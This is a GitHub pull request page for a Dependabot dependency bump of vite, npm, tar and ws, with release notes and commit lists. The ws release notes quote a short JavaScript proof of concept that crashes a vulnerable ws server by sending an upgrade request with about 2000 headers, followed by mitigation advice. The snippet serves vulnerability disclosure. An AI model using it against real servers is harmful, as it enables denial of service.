Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

chore(deps): bump the npm_and_yarn group across 1 directory with 4 updates #222

Merged
merged 1 commit into from
Jul 25, 2024
Merged

chore(deps): bump the npm_and_yarn group across 1 directory with 4 updates #222

merged 1 commit into from
Jul 25, 2024

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Jul 3, 2024

Bumps the npm_and_yarn group with 3 updates in the / directory: vite, npm and ws.

Updates vite from 5.2.11 to 5.3.3

Release notes

Sourced from vite's releases.

create-vite@5.3.0

Please refer to CHANGELOG.md for details.

Changelog

Sourced from vite's changelog.

5.3.3 (2024-07-03)

5.3.2 (2024-06-27)

5.3.1 (2024-06-14)

5.3.0 (2024-06-13)

Features

Performance

Fixes

... (truncated)

Commits
  • 22b2994 release: v5.3.3
  • 012490c fix(deps): update all non-major dependencies (#17590)
  • 14c3d49 fix(proxy): replace changeOrigin changes in 5.3.0 with new rewriteWsOrigin op...
  • 055f1c1 fix(lib): remove pure CSS dynamic import (#17601)
  • dafff4a fix: lazily evaluate __vite__mapDeps files (#17602)
  • 3af02bd release: v5.3.2
  • 24c799b fix(typescript): correctly expand ${configDir} in tsconfig.json (#17576)
  • a33a97f chore(deps): update all non-major dependencies (#17553)
  • 2d6672f chore(deps): update es-module-lexer to 1.5.4 (#17555)
  • 7c06ef0 refactor(optimizer): use early continues (#17551)
  • Additional commits viewable in compare view

Updates npm from 10.5.0 to 10.8.1

Changelog

Sourced from npm's changelog.

10.8.1 (2024-05-29)

Bug Fixes

Documentation

Dependencies

10.8.1 (2024-05-29)

Bug Fixes

... (truncated)

Commits
  • 6109960 chore: release 10.8.1
  • 6b55646 fix(exec): look in workspace and root for bin entries (#7569)
  • 4a36d78 chore: fix linting in arborist debugger
  • 2d84091 chore: fix snapshots for updated @​npmcli/package-json
  • e3f0fd4 deps: @​npmcli/package-json@​5.1.1
  • 4b57b95 chore: fix linting in mock registry
  • 6574dc9 chore: dev dependency updates
  • 447a8d7 deps: spdx-license-ids@3.0.18
  • 83fed2e deps: sigstore@2.3.1
  • 41291ba deps: @​sigstore/tuf@​2.3.4
  • Additional commits viewable in compare view

Updates tar from 6.2.0 to 6.2.1

Commits

Updates ws from 8.16.0 to 8.17.1

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • 934c9d6 [ci] Test on node 22
  • 1817bac [ci] Do not test on node 21
  • 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
  • e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
  • Additional commits viewable in compare view

Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting @dependabot rebase.

Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore <dependency name> major version will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)
  • @dependabot ignore <dependency name> minor version will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)
  • @dependabot ignore <dependency name> will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)
  • @dependabot unignore <dependency name> will remove all of the ignore conditions of the specified dependency
  • @dependabot unignore <dependency name> <ignore condition> will remove the ignore condition of the specified dependency and ignore conditions
    You can disable automated security fix PRs for this repo from the Security Alerts page.

@dependabot
chore(deps): bump the npm_and_yarn group across 1 directory with 4 up…
4379759 
…dates

Bumps the npm_and_yarn group with 3 updates in the / directory: [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite), [npm](https://github.com/npm/cli) and [ws](https://github.com/websockets/ws).


Updates `vite` from 5.2.11 to 5.3.3
- [Release notes](https://github.com/vitejs/vite/releases)
- [Changelog](https://github.com/vitejs/vite/blob/main/packages/vite/CHANGELOG.md)
- [Commits](https://github.com/vitejs/vite/commits/v5.3.3/packages/vite)

Updates `npm` from 10.5.0 to 10.8.1
- [Release notes](https://github.com/npm/cli/releases)
- [Changelog](https://github.com/npm/cli/blob/latest/CHANGELOG.md)
- [Commits](npm/cli@v10.5.0...v10.8.1)

Updates `tar` from 6.2.0 to 6.2.1
- [Release notes](https://github.com/isaacs/node-tar/releases)
- [Changelog](https://github.com/isaacs/node-tar/blob/main/CHANGELOG.md)
- [Commits](isaacs/node-tar@v6.2.0...v6.2.1)

Updates `ws` from 8.16.0 to 8.17.1
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.16.0...8.17.1)

---
updated-dependencies:
- dependency-name: vite
  dependency-type: direct:development
  dependency-group: npm_and_yarn
- dependency-name: npm
  dependency-type: indirect
  dependency-group: npm_and_yarn
- dependency-name: tar
  dependency-type: indirect
  dependency-group: npm_and_yarn
- dependency-name: ws
  dependency-type: indirect
  dependency-group: npm_and_yarn
...

Signed-off-by: dependabot[bot] <support@github.com>
@dependabot dependabot bot requested a review from a team as a code owner July 3, 2024 09:59
@dependabot dependabot bot added the dependencies Pull requests that update a dependency file label Jul 3, 2024
@dependabot dependabot bot mentioned this pull request Jul 3, 2024
Closed
@grisha87 grisha87 merged commit 423ebc4 into master Jul 25, 2024
6 checks passed
@dependabot dependabot bot deleted the dependabot/npm_and_yarn/npm_and_yarn-661c023117 branch July 25, 2024 06:49
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers

@grisha87 grisha87 grisha87 approved these changes

Assignees
No one assigned
Labels
dependencies Pull requests that update a dependency file
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
1 participant
@grisha87